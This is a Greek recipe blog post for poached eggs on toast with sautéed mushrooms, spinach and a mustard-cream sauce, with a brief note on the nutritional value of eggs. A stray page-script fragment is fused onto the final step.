mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Αυγά με σπανάκι και μανιτάρια

Αυγά με σπανάκι και μανιτάρια

dsc01570Συνήθως οι περισσότεροι από εμάς αντιμετωπίζουμε μια ημέρα μέσα στην εβδομάδα που θέλουμε να φτιάξουμε κάτι γρήγορο αλλά νόστιμο και θρεπτικό! Και πολλές φορές η πρώτη σκέψη μας είναι να φτιάξουμε αυγά! Νόστιμα, γρήγορα με πολλά θρεπτικά συστατικά τα αυγά είναι κατάλληλα για ένα ποιοτικό και ελαφρύ γεύμα!

Ένα αυγό αποδίδει 78 – 90 θερμίδες ενώ αποτελεί φυσική πηγή βιταμινών B2, B12, Α και D καθώς και φυλλικού οξέως και χολίνης.

Επίσης περιέχει πρωτεΐνης υψηλής βιολογικής αξίας και αμινοξέα απαραίτητα για τον οργανισμό μας! Μπορούμε να τα μαγειρέψουμε βραστά, τηγανητά, ομελέτα, με σάλτσα, να τα βάλουμε σε γλυκά….χρειάζεται όμως και μια αλλαγή που και που για να μην τρώμε συνέχεια το ίδιο!

Η παρακάτω συνταγή είναι πρωτότυπη αλλά πολύ εύκολη για να γίνει και να απολαύσουμε ένα υπέροχο κολατσιό!

Υλικά:

3 κ.σ. κρέμα γάλακτος ή γιαούρτι
2 κ.σ. γάλα
1 κ.σ. μουστάρδα
1 κ.σ. ελαιόλαδο
1 1/2 φλιτζ. κομμένα μανιτάρια φρέσκα
2 κ.σ. κρεμμύδι
4 φλιτζ. σπανάκι
2 αυγά
1 φέτα ψωμιού
πιπέρι
μοσχοκάρυδο
θυμάρι
αλάτι

Εκτέλεση:

1. Σε ένα μπωλάκι ανακατεύουμε την κρέμα γάλακτος, το γάλα και τη μουστάρδα για να γίνουν σάλτσα.
2. Σε ένα αντικολλητικό τηγάνι βάζουμε ελαιόλαδο και τσιγαρίζουμε το κρεμμύδι και τα μανιτάρια. Ανακατεύουμε για 5 λεπτά περίπου μέχρι να πάρουν χρώμα τα μανιτάρια.
3. Προσθέτουμε το σπανάκι και μαγειρεύουμε μέχρι να αρχίσει να μαλακώνει κι έπειτα το απομακρύνουμε από τη φωτιά
4. Σε ένα άλλο βαθύ τηγανάκι βάζουμε μέχρι τη μέση νερό να βράσει.
5. Μόλις αρχίσει να βράζει σπάμε ένα αυγό σε ένα πιάτο και με τη βοήθεια του πιάτου ρίχνουμε το αυγό μέσα στο νερό για να βράσει. Το αφήνουμε μέχρι να βράσει και έπειτα το βγάζουμε από το νερό προσεκτικά με μια κουτάλα
6. Κάνουμε ακριβώς το ίδιο με το άλλο αυγό.
7. Βάζουμε τη φέτα ψωμιού στην τοστιέρα και έπειτα την βάζουμε σε ένα πιάτο
8. Καλύπτουμε τη φέτα με τα μανιτάρια και το σπανάκι και το από πάνω το βάζουμε το αυγό.
9. Ρίχνουμε λίγη από τη σάλτσα μας και πασπαλίζουμε με πιπέρι, θυμάρι και μοσχοκάρυδοd.getElementsByTagName(‘head’)[0].appendChild(s);

Share This
3 Σχόλια
  1. […] post Αυγά με σπανάκι κα… appeared first on Arkoudos, Συνταγές … […]

  2. […] Αυγά με σπανάκι κα… […]